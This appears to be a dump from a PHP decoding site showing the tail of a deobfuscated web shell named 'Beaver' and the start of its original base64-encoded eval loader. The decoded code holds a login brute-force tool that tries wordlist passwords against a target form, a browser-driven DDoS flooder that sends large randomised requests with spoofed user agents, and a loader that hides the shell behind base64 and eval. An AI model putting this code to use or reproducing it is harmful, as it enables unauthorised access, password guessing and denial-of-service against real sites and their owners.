				curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);
				curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($content));
				curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
				curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
				$result=curl_exec($ch);
				$httpcode=curl_getinfo($ch,CURLINFO_HTTP_CODE);
				if(curl_error($ch)) echo curl_error($ch);
				curl_close($ch);
				if($httpcode==200)
				{
					$succ++;
				}
				else
				{
					$fail++;
				}
				if($start==$count)
				{
					echo "Success: $succ<br>Failed: $fail<br>Messages: ".htmlspecialchars($result);
				}
			}while($start<=$count);
			exit;
		}
	}
	if($z=="login-bruteforces")
	{
		print "<div class='tools-header'>
			  <h3>".$menu_tools[$z]['title']." v".$menu_tools[$z]['ver']."</h3>
			  <h3> by: ".$menu_tools[$z]['auth']."</h3>
		  </div>";

		printf("<div id='login-bruteforces'>
			<div class='divide-left'>
				<form onsubmit='return false;' class='new'>
					<label>Url Action</label><input type='text' id='login-url' placeholder='http://'/><br>
					<label>User List</label><input type='text' id='login-user' placeholder='admin' value='admin'/><br>
					<label>&nbsp;</label><input type='text' id='login-username' placeholder='User Fieldname'/><br>
					<label>Pass List</label><input type='text' id='login-passlist' placeholder='http://'/><br>
					<label>&nbsp;</label><input type='text' id='login-passname' placeholder='Pass Fieldname'/><br>
					<input type='submit' onclick=\"return getAjax(true,'login-result','POST',
					'?z=login-bruteforces'+
					'&url='+document.getElementById('login-url').value+
					'&user='+document.getElementById('login-user').value+
					'&userfield='+document.getElementById('login-username').value+
					'&passfield='+document.getElementById('login-passname').value+
					'&passlist='+document.getElementById('login-passlist').value);\"/><br>
				</form>
			</div>
			<div class='divide-right'>
				<fieldset>
					<legend>Result's</legend>
					<div id='login-result' class='result'></div>
				</fieldset>
			</div>
		</div>");

		if(any("url",$_REQUEST)&&any("user",$_REQUEST))
		{
			ob_clean();
			$url=$_REQUEST['url'];
			$user=$_REQUEST['user'];
			$file=GetUrlExists($_REQUEST['passlist'])? 
			GetUrlContent($_REQUEST['passlist']): 
			$_REQUEST['passlist'];
			$words=explode("
",$file);
			$length=count($words);
			foreach ($words as $index => $word) 
			{
				$parameter=http_build_query(
					array(
						$_REQUEST['userfield'] => $user,
						$_REQUEST['passfield'] => $word,
						'Submit' => 'Submit',
					)
				);
				$ch=curl_init();
				curl_setopt($ch,CURLOPT_USERAGENT,$agent);
				curl_setopt($ch,CURLOPT_URL,$url);
				curl_setopt($ch,CURLOPT_POST,1);
				curl_setopt($ch,CURLOPT_TIMEOUT,5);
				curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,5);
				curl_setopt($ch,CURLOPT_POSTFIELDS,$parameter);
				curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
				$ra=curl_exec($ch);
				$st=curl_getinfo($ch,CURLINFO_HTTP_CODE);
				if(curl_error($ch)) echo curl_error($ch);
				curl_close($ch);
				if ($st==200) 
				{
					echo "FOUND'S: $user:$word<br>";
					exit;
				}
				else
				{
					echo htmlspecialchars($ra);
				}
			}
			exit;
		}
	}
	if($z=="mass-tools")
	{
		print "<div class='tools-header'>
			  <h3>".$menu_tools[$z]['title']." v".$menu_tools[$z]['ver']."</h3>
			  <h3> by: ".$menu_tools[$z]['auth']."</h3>
		  </div>";

		print "Coming Soon";
	}
	if($z=="ddos-attack")
	{
		print "<div class='tools-header'>
			<h3>".$menu_tools[$z]['title']." v".$menu_tools[$z]['ver']."</h3>
			<h3> by: ".$menu_tools[$z]['auth']."</h3>
		  </div>";

		printf('<script type="text/javascript">

					window.onload=function(){

						startTime();

						var interval;
						var xhttp;

						var requestsNode=document.getElementById("requests"),
					        successNode=document.getElementById("success"),
					        proccessNode=document.getElementById("proccess"),
					        targetNode=document.getElementById("target"),
					        attack=document.getElementById("attack"),
					        method=document.getElementById("method"),
					        size=document.getElementById("size"),
					        time=document.getElementById("time"),
					        stamp=document.getElementById("stamp")
					        uagent=document.getElementById("uagent")
					        referer=document.getElementById("referer")
					        origin=document.getElementById("origin")

						var requests=0,
					        succeeded=0,
					        proccess=0;

						var makeHttpRequest=function(){
							var data=new FormData();
							var buff=new ArrayBuffer(65536);
							var xhrx=new XMLHttpRequest();
							var agent =["Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20110619 Firefox/5.0",
							"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20100101 Firefox/5.0",
							"Mozilla/5.0 (Windows NT 6.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
							"Mozilla/5.0 (Windows NT 5.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
							"Mozilla/5.0 (Windows NT 5.0; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
							"Mozilla/5.0 (Windows NT 5.1; U; rv:5.0) Gecko/20100101 Firefox/5.0",
							"Mozilla/5.0 (Windows NT 6.1.1; rv:5.0) Gecko/20100101 Firefox/5.0",
							"Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/5.0",
							"Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/5.0",
							"Mozilla/5.0 (Windows NT 5.0; rv:5.0) Gecko/20100101 Firefox/5.0"];
							randomize=function(arr){
							rand=Math.floor((Math.random()*arr.length));
						    return arr[rand];}
							xhrx.open(method.value,targetNode.value,true);
							if (uagent.checked) xhrx.setRequestHeader("user-agent",randomize(agent));
							if (referer.checked) xhrx.setRequestHeader("referer",targetNode.value);
							if (origin.checked) xhrx.setRequestHeader("origin","*");
							xhrx.onreadystatechange=function(){
							    if(xhrx.readyState==XMLHttpRequest.DONE){
							    	if(xhrx.status>=500){
								    	onSuccess();
								    }
								    onProcess();
							   	}
							   	onRequest();
							}
							xhttp=xhrx;
							attack=function(){
							str="";arr=new Uint32Array(buff);
							window.crypto.getRandomValues(arr);
							for(var i=0;i<arr.length;i++){
							str+=String.fromCharCode(arr[i]);
							}return str;}
							what=attack();
							for(var j=0;j<size.value;j++){
							data.append(what, stamp.value);}
							xhrx.send(data);
					        };

						var onRequest=function(){
					            requests++;
					            requestsNode.innerHTML=requests;
						    };

						var onProcess=function(){
						    	proccess++;
					            proccessNode.innerHTML=proccess;
						    };

						var onSuccess=function(){
					            success++;
					            successNode.innerHTML=success;
					    	};

						attack.onclick=function(){
							var today=new Date();
						    var h=today.getHours();
						    var m=today.getMinutes();
						    var s=today.getSeconds();
						    m=m<10?"0"+m:m;
						    s=s<10?"0"+s:s;
							if(this.value==\'Start\'){
								this.value="Stop";
								requests=0;
						        succeeded=0;
						        proccess=0;
						        document.getElementById("start").innerHTML="00:00:00";
						        document.getElementById("finish").innerHTML="00:00:00";
								interval=setInterval(makeHttpRequest,(parseInt(time.value)));
								document.getElementById("start").innerHTML=h+":"+m+":"+s;
							}else if(this.value==\'Stop\'){
								this.value="Start";
								xhttp.abort();
								clearInterval(interval);
								document.getElementById("finish").innerHTML=h+":"+m+":"+s;
							}
						};

						function startTime(){
						    var today=new Date();
						    var h=today.getHours();
						    var m=today.getMinutes();
						    var s=today.getSeconds();
						    m=m<10?"0"+m:m;
						    s=s<10?"0"+s:s;
						    document.getElementById("times").innerHTML=h+":"+m+":"+s;
						    var t=setTimeout(startTime,500);
						}
					}
				</script>
				<form onsubmit="return false;" class="new">
					<label>Target</label><input type="text" id="target" value="http://www.target.com"><br>
					<label>Stamp</label><input type="text" id="stamp" value="DDOS ATTACK !!!"><br>
					<label>Method</label><select id="method">
					<option value="PUT">PUT</option>
					<option value="GET">GET</option>
					<option value="POST">POST</option>
					<option value="HEAD">HEAD</option>
					<option value="TRACE">TRACE</option>
					<option value="PATCH">PATCH</option>
					<option value="OPTIONS">GET</option>
					<option value="DELETE">DELETE</option>
					<option value="CONNECT">CONNECT</option>
					<option value="OPTIONS">OPTIONS</option>
					</select><br>
					<label>Size (kB)</label><input type="number" id="size" value="1024"><br>
					<label>Time (ms)</label><input type="number" id="time" value="500"><br>
					<label>Options</label>
					<input type="checkbox" id="uagent" name="uagent" style="vertical-align:middle"> User Agent
					<input type="checkbox" id="referer" name="referer" style="vertical-align:middle"> Referer  Target
					<input type="checkbox" id="origin" name="origin" style="vertical-align:middle"> Origin<br>
					<label style="margin:5px 0px 5px">
						Time <span id="times">00:00:00</span> | 
						Start <span id="start">00:00:00</span> | 
						Finish <span id="finish">00:00:00</span>
					</label><br>
					<label style="margin:0px 0px 5px">
						Requests <span id="requests">0</span> | 
						Proccess <span id="proccess">0</span> | 
						Success <span id="success">0</span>
					</label><br>
					<input type="submit" id="attack" value="Start"/>
				</form>');
	}

	print "</div>";
}
/* END CUSTOM TOOLZ */

printf("</div><!-- content -->
		</div><!-- container -->
			<div id='footer'>
				<div id='copyrights'>Beaver %s</div>
				<div id='pageload'>Page Loaded in %s Seconds</div>
			</div>
		</body>
		</html>",date('Y'),round((microtime(true)-$start),2)
);

}?>

Did this file decode correctly?

Original Code

<?php $crkjy="ba"."se"."6"."4_d"."e"."cod"."e";$w="xnEsyTo9vJ==:f1cdcbe29be14fa3849ea5fee3b4ae0cc95d95ef";@eval($crkjy("Cg0KLyoNCiAqIFNlbGYgU2NyaXB0IEVuY3J5cHRvciB2MS4wDQogKiAtLS0tLS0tIGJ5IGs0bXByM3QgLS0tLS0tLQ0KICoNCiAqIFtVc2FnZV0gaHR0cDovL3dlYnNpdGUuY29tL3NoZWxsLnBocD94PXNlbGYtZW5jcnlwdG9yJm5hbWU9c2hlbGxfZW5jcnlwdC5waHANCiAqDQogKi8NCg0KJGNvbmZpZz1hcnJheSgNCgkidGl0bGUiICAgICA9PiAiQmVhdmVyIiwgICAgICAgICAgICAgICAgIC8vIFlvdXIgVGl0bGUNCgkic3VidGl0bGUiICA9PiAiUEhQIEVkaXRpb24iLCAgICAgICAgLy8gWW91ciBTdWJ0aXRsZQ0KCSJ0aGVtZXMiICAgID0+ICJENFJLIiwgICAgICAgICAgICAgICAgICAgICAgICAvLyBZb3VyIFRoZW1lcyAoRDRSSyBvciBCUjM0SykNCgkiZGVidWciICAgICA9PiBmYWxzZSAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIERlYnVnIE1vZGUNCik7DQoNCiRhY2NvdW50PWV4cGxvZGUoJzonLCR3KTsNCg0Kc2Vzc2lvbl9zdGFydCgpOyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBTZXNzaW9uIFN0YXJ0DQoNCmZ1bmN0aW9uIGFueSgkeCwkeSkNCnsNCglyZXR1cm4gYXJyYXlfa2V5X2V4aXN0cygkeCwkeSk7DQp9DQoNCmZ1bmN0aW9uIHVybGUoJHgpDQp7DQoJcmV0dXJuIEI2NEUodXJsZW5jb2RlKCR4KSk7DQp9DQoNCmZ1bmN0aW9uIHVybGQoJHgpDQp7DQoJcmV0dXJuIHVybGRlY29kZShCNjREKHVybGRlY29kZSgkeCkpKTsNCn0NCg0KZGVmaW5lKCdfJyxESVJFQ1RPUllfU0VQQVJBVE9SKTsNCg0KZm9yZWFjaCgkX1NFUlZFUiBhcyAkayA9PiAkdikNCnsNCglkZWZpbmUoc3RydG9sb3dlcigkayksJF9TRVJWRVJbJGtdKTsNCn0NCg0KZnVuY3Rpb24gQjY0RSgkeCkNCnsNCgkkZD0iQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLyI7DQoJJGM9IlpZWFdWVVRTUlFQT05NTEtKSUhHRkVEQ0JBenl4d3Z1dHNycXBvbm1sa2ppaGdmZWRjYmE5ODc2NTQzMjEwKy8iOw0KCSRfYT0iYiI7JF9iPSJhIjskX2M9InMiOyRfZD0iZSI7JF9lPSI2IjskX2Y9IjQiOw0KCSRfZz0iXyI7JF9oPSJlIjskX2k9Im4iOyRfaj0iYyI7JF9rPSJvIjskX2w9ImQiOyRfbT0iZSI7DQoJJGI2ND0kX2EuJF9iLiRfYy4kX2QuJF9lLiRfZi4kX2cuJF9oLiRfaS4kX2ouJF9rLiRfbC4kX207DQoJcmV0dXJuIHN0cnRyKCRiNjQoJHgpLCRkLCRjKTsNCn0NCg0KZnVuY3Rpb24gQjY0RCgkeCkNCnsNCgkkZD0iQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLyI7DQoJJGM9IlpZWFdWVVRTUlFQT05NTEtKSUhHRkVEQ0JBenl4d3Z1dHNycXBvbm1sa2ppaGdmZWRjYmE5ODc2NTQzMjEwKy8iOw0KCSRfYT0iYiI7JF9iPSJhIjskX2M9InMiOyRfZD0iZSI7JF9lPSI2IjskX2Y9IjQiOw0KCSRfZz0iXyI7JF9oPSJkIjskX2k9ImUiOyRfaj0iYyI7JF9rPSJvIjskX2w9ImQiOyRfbT0iZSI7DQoJJGI2ND0kX2EuJF9iLiRfYy4kX2QuJF9lLiRfZi4kX2cuJF9oLiRfaS4kX2ouJF9rLiRfbC4kX207DQoJcmV0dXJuICRiNjQoc3RydHIoJHgsJGQsJGMpKTsNCn0NCg0KZnVuY3Rpb24gZXJyb3IgKCRlcnJubywgJGVycnN0ciwgJGVycmZpbGUsICRlcnJsaW5lKQ0Kew0KCXN3aXRjaCAoJGVycm5vKQ0KCXsNCgkJY2FzZSBFX1BBUlNFOg0KCQljYXNlIEVfU1RSSUNUOiRlcnJtc2c9JyMgREVCVUcnO2JyZWFrOw0KCQljYXNlIEVfTk9USUNFOg0KCQljYXNlIEVfVVNFUl9OT1RJQ0U6JGVycm1zZz0nIyBOT1RJQ0UnO2JyZWFrOw0KCQljYXNlIEVfVVNFUl9FUlJPUjoNCgkJY2FzZSBFX1JFQ09WRVJBQkxFX0VSUk9SOiRlcnJtc2c9JyMgRVJST1InO2JyZWFrOw0KCQljYXNlIEVfV0FSTklORzoNCgkJY2FzZSBFX0NPUkVfV0FSTklORzoNCgkJY2FzZSBFX0NPTVBJTEVfV0FSTklORzoNCgkJY2FzZSBFX1VTRVJfV0FSTklORzokZXJybXNnPScjIFdBUk5JTkcnO2JyZWFrOw0KCQljYXNlIEVfRVJST1I6DQoJCWNhc2UgRV9DT1JFX0VSUk9SOg0KCQljYXNlIEVfQ09NUElMRV9FUlJPUjokZXJybXNnPScjIEZBVEFMIEVSUk9SJzticmVhazsNCgkJZGVmYXVsdDokZXJybXNnPScjIFVOS05PV04gRVJST1InO2JyZWFrOw0KCX0NCgllY2hvICc8ZGl2IGNsYXNzPSJlcnJvciI+JzsNCgllY2hvICRlcnJtc2c7DQoJZWNobyAiPGJyPiI7DQoJZWNobyAkZXJyc3RyOw0KCWVjaG8gIjxicj4iOw0KCWVjaG8gJGVycmZpbGUgLiAnIChMaW5lOiAnIC4gJGVycmxpbmUgLiAnKSc7DQoJZWNobyAiPGJyPiI7DQoJZWNobyAiPGJyPiI7DQoJZWNobyAiPC9kaXY+IjsNCn0NCg0KLy8gTG9naW4gUmVxdWVzdA0KaWYocmVxdWVzdF9tZXRob2Q9PSJQT1NUIikNCnsNCglpZihhbnkoInVzZXJuYW1lIiwkX1JFUVVFU1QpJiZhbnkoInBhc3N3b3JkIiwkX1JFUVVFU1QpJiZhbnkoInNpZ25pbiIsJF9SRVFVRVNUKSkNCgl7DQoJCWlmKChCNjRFKCRfUkVRVUVTVFsndXNlcm5hbWUnXSk9PSRhY2NvdW50WzBdKSYmKHNoYTEobWQ1KCRfUkVRVUVTVFsncGFzc3dvcmQnXSkpPT0kYWNjb3VudFsxXSkpDQoJCXsNCgkJCXNlc3Npb25fcmVnZW5lcmF0ZV9pZCgpOw0KCQkJJF9TRVNTSU9OWydhY3Rpb24nXT1hcnJheSgNCgkJCQkidXNlcm5hbWUiID0+IEI2NEUoJF9SRVFVRVNUWyd1c2VybmFtZSddKSwNCgkJCQkicGFzc3dvcmQiID0+IHNoYTEobWQ1KCRfUkVRVUVTVFsncGFzc3dvcmQnXSkpDQoJCQkpOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJLy8gVEhJUyBJUyBGVUNLSU5HIExPQ0FMIERBTU4gTE9HIE4wMEIhIChodHRwczovL2dpdGh1Yi5jb20vazRtcHIzdC9iNHRtNG4vaXNzdWVzLzUpDQoJCQkkbG9nPWFycmF5KA0KCQkJCSJVc2VybmFtZTogIi4kX1JFUVVFU1RbJ3VzZXJuYW1lJ10sDQoJCQkJIlBhc3N3b3JkOiAiLiRfUkVRVUVTVFsncGFzc3dvcmQnXSwNCgkJCQkiUmVtb3RlIElQOiAiLnJlbW90ZV9hZGRyLA0KCQkJCSJUaW1lOiAiLmRhdGUoJ1ktbS1kIEg6aTpzJyksDQoJCQkJIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuIiwNCgkJCSk7DQoJCQkkZmlsZT1kaXJuYW1lKF9fRklMRV9fKS5fLicubG9nJzsNCgkJCSR3cml0ZV9sb2c9aW1wbG9kZSgkbG9nLCJcclxuIik7DQoJCQkkb3A9Zm9wZW4oJGZpbGUsJ2ErJyk7DQoJCQlmd3JpdGUoJG9wLCR3cml0ZV9sb2cpOw0KCQkJZmNsb3NlKCRvcCk7DQoJCX0NCgl9DQp9DQoNCmlmKCFhbnkoImFjdGlvbiIsJF9TRVNTSU9OKSkNCnsNCj8+PCFkb2N0eXBlIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCjxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCIvPg0KPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCxpbml0aWFsLXNjYWxlPTEsc2hyaW5rLXRvLWZpdD1ubyI+DQo8dGl0bGU+QmVhdmVyPC90aXRsZT4NCjxsaW5rIGhyZWY9Imh0dHBzOi8vbWF4Y2RuLmJvb3RzdHJhcGNkbi5jb20vYm9vdHN0cmFwLzQuMC4wL2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiBpZD0iYm9vdHN0cmFwLWNzcyI+DQo8c3R5bGUgdHlwZT0ndGV4dC9jc3MnPg0KCWh0bWwsYm9keXsNCgloZWlnaHQ6MTAwJTsNCgl9DQoJYm9keXsNCglkaXNwbGF5Oi1tcy1mbGV4Ym94Ow0KCWRpc3BsYXk6LXdlYmtpdC1ib3g7DQoJZGlzcGxheTpmbGV4Ow0KCS1tcy1mbGV4LWFsaWduOmNlbnRlcjsNCgktbXMtZmxleC1wYWNrOmNlbnRlcjsNCgktd2Via2l0LWJveC1hbGlnbjpjZW50ZXI7DQoJYWxpZ24taXRlbXM6Y2VudGVyOw0KCS13ZWJraXQtYm94LXBhY2s6Y2VudGVyOw0KCWp1c3RpZnktY29udGVudDpjZW50ZXI7DQoJcGFkZGluZy10b3A6NDBweDsNCglwYWRkaW5nLWJvdHRvbTo0MHB4Ow0KCWJhY2tncm91bmQtY29sb3I6I2Y1ZjVmNTsNCgl9DQoJLmZvcm0tc2lnbmluew0KCXdpZHRoOjEwMCU7DQoJbWF4LXdpZHRoOjMzMHB4Ow0KCXBhZGRpbmc6MTVweDsNCgltYXJnaW46MCBhdXRvOw0KCX0NCgkuZm9ybS1zaWduaW4uY2hlY2tib3h7DQoJZm9udC13ZWlnaHQ6NDAwOw0KCX0NCgkuZm9ybS1zaWduaW4uZm9ybS1jb250cm9sew0KCXBvc2l0aW9uOnJlbGF0aXZlOw0KCWJveC1zaXppbmc6Ym9yZGVyLWJveDsNCgloZWlnaHQ6YXV0bzsNCglwYWRkaW5nOjEwcHg7DQoJZm9udC1zaXplOjE2cHg7DQoJfQ0KCS5mb3JtLXNpZ25pbi5mb3JtLWNvbnRyb2w6Zm9jdXN7DQoJei1pbmRleDoyOw0KCX0NCgkuZm9ybS1zaWduaW4gaW5wdXRbdHlwZT0iZW1haWwiXXsNCgltYXJnaW4tYm90dG9tOi0xcHg7DQoJYm9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6MDsNCglib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzOjA7DQoJfQ0KCS5mb3JtLXNpZ25pbiBpbnB1dFt0eXBlPSJwYXNzd29yZCJdew0KCW1hcmdpbi1ib3R0b206MTBweDsNCglib3JkZXItdG9wLWxlZnQtcmFkaXVzOjA7DQoJYm9yZGVyLXRvcC1yaWdodC1yYWRpdXM6MDsNCgl9DQo8L3N0eWxlPg0KPC9oZWFkPg0KPGJvZHkgY2xhc3M9InRleHQtY2VudGVyIj4NCgk8Zm9ybSBjbGFzcz0iZm9ybS1zaWduaW4iIG1ldGhvZD0ncG9zdCc+DQoJCTxoMSBjbGFzcz0iaDMgbWItMyBmb250LXdlaWdodC1ub3JtYWwiPlBsZWFzZSBzaWduIGluPC9oMT4NCgkJPGxhYmVsIGZvcj0idXNlcm5hbWUiIGNsYXNzPSJzci1vbmx5Ij5FbWFpbCBhZGRyZXNzPC9sYWJlbD4NCgkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJuYW1lIiBpZD0idXNlcm5hbWUiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSJVc2VybmFtZSIgYXV0b2NvbXBsZXRlPSJvZmYiIHJlcXVpcmVkIGF1dG9mb2N1cz4NCgkJPGxhYmVsIGZvcj0icGFzc3dvcmQiIGNsYXNzPSJzci1vbmx5Ij5QYXNzd29yZDwvbGFiZWw+DQoJCTxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiIGlkPSJwYXNzd29yZCIgY2xhc3M9ImZvcm0tY29udHJvbCIgcGxhY2Vob2xkZXI9IlBhc3N3b3JkIiBhdXRvY29tcGxldGU9Im9mZiIgcmVxdWlyZWQ+DQoJCTxidXR0b24gY2xhc3M9ImJ0biBidG4tbGcgYnRuLXByaW1hcnkgYnRuLWJsb2NrIiB0eXBlPSJzdWJtaXQiIG5hbWU9InNpZ25pbiIgdmFsdWU9InNpZ25pbiI+U2lnbiBJbjwvYnV0dG9uPg0KCQk8cCBjbGFzcz0ibXQtNSBtYi0zIHRleHQtbXV0ZWQiPiZjb3B5Ozw/PWRhdGUoJ1knKT8+PC9wPg0KCTwvZm9ybT4NCjwvYm9keT4NCjwvaHRtbD48P3BocA0KfQ0KZWxzZQ0Kew0Kb2Jfc3RhcnQoKTsgLy8gUHJldmVudCBEb3VibGUgSHRtbCAkX1JFUVVFU1QNCg0KaWYoIXN0cnBvcyhzdHJ2YWwoaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSksJ3NldF90aW1lX2xpbWl0JykpDQp7DQoJc2V0X3RpbWVfbGltaXQoMCk7DQp9DQoNCi8vIERlYnVnIFNldHRpbmdzDQppZigkY29uZmlnWydkZWJ1ZyddPT10cnVlKSANCnsNCglzZXRfZXJyb3JfaGFuZGxlcignZXJyb3InKTsgLy8gRXJyb3IgSGFuZGxlcg0KCWVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9XQVJOSU5HIHwgRV9QQVJTRSB8IEVfTk9USUNFKTsNCn0NCmVsc2UNCnsNCgllcnJvcl9yZXBvcnRpbmcoMCk7DQoJaW5pX3NldCgnZXJyb3JfbG9nJyxudWxsKTsNCglpbmlfc2V0KCdodG1sX2Vycm9ycycsMCk7DQoJaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQoJaW5pX3NldCgnbG9nX2Vycm9yc19tYXhfbGVuJywwKTsNCglpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsMCk7DQoJaW5pX3NldCgnZGlzcGxheV9zdGFydHVwX2Vycm9ycycsMCk7DQp9DQoNCmluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsJzYwMCcpOw0KaW5pX3NldCgnbWVtb3J5X2xpbWl0JywnMjU2TScpOw0KDQokYWdlbnQ9QjY0RCgiRlQwNkFDUW9BWFlydkhZWEFEVTdBQ1I9Iik7IA0KJHRpdGxlPSRjb25maWdbJ3RpdGxlJ107ICAgICAgICAgICAgICAgICAgIC8vIFRpdGxlIFBhZ2UNCiRzdGFydD1taWNyb3RpbWUodHJ1ZSk7ICAgICAgICAgICAgICAgICAgICAvLyBUaW1lIFBhZ2Vsb2FkDQoNCj8+PCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPg0KPD89JHRpdGxlPz4NCjwvdGl0bGU+DQo8bWV0YSBuYW1lPSdhdXRob3InIGNvbnRlbnQ9J2JlYXZlcicvPg0KPGxpbmsgaHJlZj0iZGF0YTppbWFnZS9wbmc7YmFzZTY0LEFBQUJBQUVBRUJBQ0FBQUFBQUN3QUFBQUZnQUFBQ2dBQUFBUUFBQUFJQUFBQUFFQUFRQUFBQUFBUUFBQUFBQUFBQUFBQUFBQUFnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFELy93QUEvLzhBQVAvL0FBRC8vd0FBLy84QUFQNy9BQUQ4ZndBQXdBY0FBTUFIQUFDTVl3QUFEV0VBQVAvL0FBRC8vd0FBLy84QUFQLy9BQUQvL3dBQSIgcmVsPSJpY29uIiB0eXBlPSJpbWFnZS94LWljb24iIC8+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KDQoJPD9waHAgaWYoc3RydG9sb3dlcigkY29uZmlnWyd0aGVtZXMnXSkgPT0gJ2Q0cmsnKTogPz4NCgk6cm9vdCB7DQoJCS0tYmFja2dyb3VuZC1jb2xvcjojMDAwOyANCgkJLS1jb2xvcjojMDBmZjAwOw0KCQktLXR4dC1jb2xvcjogI2ZmZjsNCgkJLS10eHQtaG92ZXItY29sb3I6ICNmZmY7DQoJCS0tYm9yZGVyLWNvbG9yOiAjMjIyOw0KCQktLWJvcmRlci1ob3Zlci1jb2xvcjogIzMzMzsNCgkJLS10YWJsZS1vZGQtY29sb3IgOiAjMDAwOw0KCQktLXRhYmxlLWV2ZW4tY29sb3IgOiAjMTExOw0KCQktLXRhYmxlLWhvdmVyLWNvbG9yIDogIzIyMjsNCgkJLS1idXR0b24tY29sb3IgOiAjMTExOw0KCQktLWJ1dHRvbi1ob3Zlci1jb2xvciA6ICMyMjI7DQoJfQ0KCTw/cGhwIGVuZGlmOyA/Pg0KDQoJPD9waHAgaWYoc3RydG9sb3dlcigkY29uZmlnWyd0aGVtZXMnXSkgPT0gJ2JyMzRrJyk6ID8+DQoJOnJvb3Qgew0KCQktLWJhY2tncm91bmQtY29sb3I6I2ZmZjsgDQoJCS0tY29sb3I6IzAwMDsNCgkJLS10eHQtY29sb3I6ICMwMDA7DQoJCS0tdHh0LWhvdmVyLWNvbG9yOiAjNjY2Ow0KCQktLWJvcmRlci1jb2xvcjogIzExMTsNCgkJLS1ib3JkZXItaG92ZXItY29sb3I6ICMyMjI7DQoJCS0tdGFibGUtb2RkLWNvbG9yIDogI2VlZTsNCgkJLS10YWJsZS1ldmVuLWNvbG9yIDogI2RkZDsNCgkJLS10YWJsZS1ob3Zlci1jb2xvciA6ICNjY2M7DQoJCS0tYnV0dG9uLWNvbG9yIDogI2NjYzsNCgkJLS1idXR0b24taG92ZXItY29sb3IgOiAjYmJiOw0KCX0NCgk8P3BocCBlbmRpZjsgPz4NCg0KCUBrZXlmcmFtZXMgYmxpbmtlcns3MCV7b3BhY2l0eTowfX0NCgkqLGh0bWx7bWFyZ2luOjA7cGFkZGluZzowO2xpbmUtaGVpZ2h0OjFyZW19DQoJYm9keXtiYWNrZ3JvdW5kOnZhcigtLWJhY2tncm91bmQtY29sb3IpO2NvbG9yOnZhcigtLWNvbG9yKTtmb250LWZhbWlseTptb25vc3BhY2U7Zm9udC1zaXplOjEzcHh9DQoJOjotbW96LXNlbGVjdGlvbntiYWNrZ3JvdW5kOnZhcigtLWNvbG9yKTtjb2xvcjp2YXIoLS1iYWNrZ3JvdW5kLWNvbG9yKX0NCgk6OnNlbGVjdGlvbntiYWNrZ3JvdW5kOnZhcigtLWNvbG9yKTtjb2xvcjp2YXIoLS1iYWNrZ3JvdW5kLWNvbG9yKX0NCglpbWd7dmVydGljYWwtYWxpZ246Ym90dG9tfQ0KCWhye2JvcmRlcjoxcHggc29saWQgdmFyKC0tYm9yZGVyLWNvbG9yKTttYXJnaW46M3B4IDBweCAwcHh9DQoJYXtjb2xvcjp2YXIoLS1jb2xvcik7dGV4dC1kZWNvcmF0aW9uOm5vbmV9DQoJYTpob3Zlcntjb2xvcjp2YXIoLS10eHQtaG92ZXItY29sb3IpfQ0KCWEuYWN0aXZle2NvbG9yOnZhcigtLXR4dC1jb2xvcil9DQoJYS5hY3Rpb257Zm9udC1zaXplOjEycHg7cGFkZGluZzo1cHg7bWFyZ2luOjBweDtiYWNrZ3JvdW5kOnZhcigtLWJ1dHRvbi1jb2xvcik7Y29sb3I6dmFyKC0tdHh0LWNvbG9yKTtib3JkZXI6MXB4IHNvbGlkICMyMjI7Y3Vyc29yOnBvaW50ZXI7b3V0bGluZTpub25lO2Rpc3BsYXk6aW5saW5lLWJsb2NrfQ0KCWEuYWN0aW9uOmhvdmVye2JhY2tncm91bmQ6dmFyKC0tYnV0dG9uLWhvdmVyLWNvbG9yKTtib3JkZXI6MXB4IHNvbGlkIHZhcigtLWJvcmRlci1ob3Zlci1jb2xvcil9DQoJbGFiZWx7ZGlzcGxheTppbmxpbmUtYmxvY2s7bWluLXdpZHR